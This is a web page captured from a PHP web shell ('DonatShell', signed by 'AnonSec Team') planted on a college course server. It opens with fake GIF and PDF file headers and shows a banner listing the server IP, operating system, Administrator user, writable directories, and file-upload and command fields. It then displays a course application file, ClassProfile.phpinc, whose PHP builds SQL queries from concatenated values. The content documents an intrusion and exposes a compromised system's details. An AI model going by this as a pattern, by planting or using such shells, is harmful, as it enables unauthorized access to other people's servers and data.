GIF89a; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY Donat Was Here
DonatShell
Server IP : 134.29.175.74  /  Your IP : 216.73.216.160
Web Server : nginx/1.10.2
System : Windows NT CST-WEBSERVER 10.0 build 19045 (Windows 10) i586
User : Administrator ( 0)
PHP Version : 7.1.0
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/nginx/html/Course/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : C:/nginx/html/Course//ClassProfile.phpinc
<?
// ClassProfile.phpinc

debugTrackBegin();
#setDebugOn();
if (dc()) { echo basename(__FILE__)," line ",__LINE__,": ","<b>".__FILE__."</b><br>\n"; }
#printVar('$_GET',$_GET);
#printVar('$_POST',$_POST);
#printVar('$_SERVER',$_SERVER);

$skipAuthentication = false;
include('Login/authenticate.phpinc');

$f_classId = formValue('classId');
$f_userId = formValue('userId');
$eId = formValue('eId','');
$sId = formValue('sId','');
$f_FromGradebook = formValue('FromGradebook'); if ( !$f_FromGradebook ) $f_FromGradebook = 0;
$f_ReturnFromGrading = formValue('ReturnFromGrading'); if ( !$f_ReturnFromGrading ) $f_ReturnFromGrading = 0;

include('Course/get_HTTP_REFERER.phpinc');
#printVar('$argAdd',$argAdd);
#printVar('$urlQuery',$urlQuery);

#setDebugOn();

// Make sure we know the f_classId.
if ( !isset($f_classId) ) {
	include('Course/studentInClass.phpinc');
}
if ( !isset($f_classId) || $f_classId == '' ) {
	// Get classId.
	#printVar('$courseNumber',$courseNumber);
	#printVar("\$_SESSION['userId']",$_SESSION['userId']);
	$query = "
				SELECT class.classId
					FROM class
		INNER JOIN classstudent ON class.classId = classstudent.classId
		INNER JOIN course ON course.courseId = class.courseId
				 WHERE classstudent.userStudentId = '".$_SESSION['userStudentId']."'
					 AND course.courseNumber = '".$courseNumber."'
					 AND class.YRTR = '".$_SESSION['YRTR']['User']."'
	";
	#printVar('$query',$query);
	$classIdResult = query_do($query);
	$classIdCount = $_SESSION['qry']['count'];
	#printQuery('$classIdResult',$classIdResult);
	#printVar('$classIdCount',$classIdCount);
	if ($classIdCount) {
		mysqli_data_seek($classIdResult, 0);
		$classIdRow = mysqli_fetch_assoc($classIdResult);
		#printVar('$classIdRow',$classIdRow);
		$f_classId = $classIdRow['classId'];
	} else {
		$f_classId = 0;
	}
	#printVar('$f_classId',$f_classId);
}

switch ($f_subtask) {
	case '':
		if ( $f_classId ) {
			include('Course/ClassProfileView.phpinc');
		} else {
			$headTitle = '_CST_ - '.$courseNumber.' '.$courseTitle.' - Class Profile';
			$pageTitle = $courseNumber.' '.$courseTitle.'<br>Class Profile';
			$pageMenu = 'Course/courseMenu.phpinc';
			include('common/pageHeader.phpinc');
			$sectionTitle = $CDN[0].$CDN[1]." Class Profile";
			include('common/sectionHeader.phpinc');
			if (isset($_SESSION['userId']) && $_SESSION['userId'] != '') {
?>
				<p>
				<b>You do not seem to be in this class.</b><br>
				If you feel this is an error, try taking the class questionnaire from the link on the <a href="./Schedule.php">Schedule</a>.<br>
				If that does not work please contact your Instructor.
				</p>
<?			
			} else {
?>
				<p>
				<b>You are not logged in.</b><br>
				In order to fill out the Class Profile you must <a href="https://cst.ridgewater.edu/login">Login</a> first.<br>
				If that does not work please contact your Instructor.
				</p>
<?			
			}
			#setDebugOn();
			include('common/sectionFooter.phpinc');
			#setDebugOn();
			include('common/pageFooter.phpinc');
		}
		break;
	case 'Cancel':
	case 'Done':
	case 'Return':
		if ( $f_ReturnFromGrading ) {
			include('Gradebook/CloseWindow.phpinc');
		} else {
			$location = $f_HTTP_REFERER.'?'.$urlQuery.basename(__FILE__).':'.__LINE__;
			headerLocation($location); exit;
			break;
		}
	case 'Edit':
		include('Course/ClassProfileEdit.phpinc');
		break;
	case 'Email request for Class Profile':
		include('common/Class/ClassProfile_EmailRequestForEntry.phpinc');
		if ( $f_ReturnFromGrading ) {
			include('Gradebook/CloseWindow.phpinc');
		} else {
			$location = "/JimMartinson/".$courseNumber."/?ClassRoster&".$urlQuery.basename(__FILE__).':'.__LINE__;
			headerLocation($location); exit;
		}
		#include('common/Class/ClassRoster.phpinc');
		break;
	case 'Email request for Class Profile submission':
		include('common/Class/ClassProfile_EmailRequestForSubmission.phpinc');
		if ( $f_ReturnFromGrading ) {
			include('Gradebook/CloseWindow.phpinc');
		} else {
			$location = "/JimMartinson/".$courseNumber."/?ClassRoster&".$urlQuery.basename(__FILE__).':'.__LINE__;
			headerLocation($location); exit;
		}
		#include('common/Class/ClassRoster.phpinc');
		break;
	case 'Re-grade':
		$f_task = "Grade";
	case 'Grade':
		#echo "\$f_task=",$f_task,": "," \$f_subtask=",$f_subtask,": ",basename(__FILE__),": ",__LINE__,"<br>\n"; exit;
		include('common/Class/ClassProfile_GradeVerify.phpinc');
		if ( !$f_error ) {
#setDebugOn();
#include('common/pageFooter.phpinc');
			#printVar("\$_POST",$_POST);
			include('common/Class/ClassProfile_GradePerform.phpinc');
			#printVar("\$_SESSION['emailGrade']",$_SESSION['emailGrade']);
			#exit;
			if ( $f_ReturnFromGrading ) {
				include('Gradebook/CloseWindow.phpinc');
			} else {
				$location = "/JimMartinson/".$courseNumber."/?ClassRoster&".$urlQuery.basename(__FILE__).':'.__LINE__;
				headerLocation($location); exit;
			}
			#$f_task = 'ClassRoster';
			#include('common/Class/ClassRoster.phpinc');
			#include('index.php');
		} else {
			include('common/Class/ClassProfile_Grade.phpinc');
		}
		break;
	#case 'Re-grade':
		#$f_userId = formValue('userId');
		#$f_task = "Grade";
		#$f_HTTP_REFERER = "https://cst.ridgewater.edu/JimMartinson/".$courseNumber."/?ClassRoster";
		#include('common/Class/ClassProfile_Grade.phpinc');
		#break;
	case 'Save':
		include('Course/ClassProfileVerify.phpinc');
		if (!$f_error) {
			include('Course/ClassProfilePerform.phpinc');
			include('Course/ClassProfileView.phpinc');
		} else {
			include('Course/ClassProfileEdit.phpinc');
		}
		break;
	case 'Submit assignment':
			include('Course/ClassProfileSubmitAssignment.phpinc');
			include('Course/ClassProfileView.phpinc');
		break;
	default:
		echo '<p class="bold">'.__FILE__.' <span class="error">Code for $f_task=['.$f_task.']</span>'.' <span class="error">$f_subtask=['.$f_subtask."] not finished.</p>\n"; setDebugOn();
		#setDebugOn();
		include('common/pageFooter.phpinc');
}
debugTrackEnd();
?>

Anon7 - 2022
AnonSec Team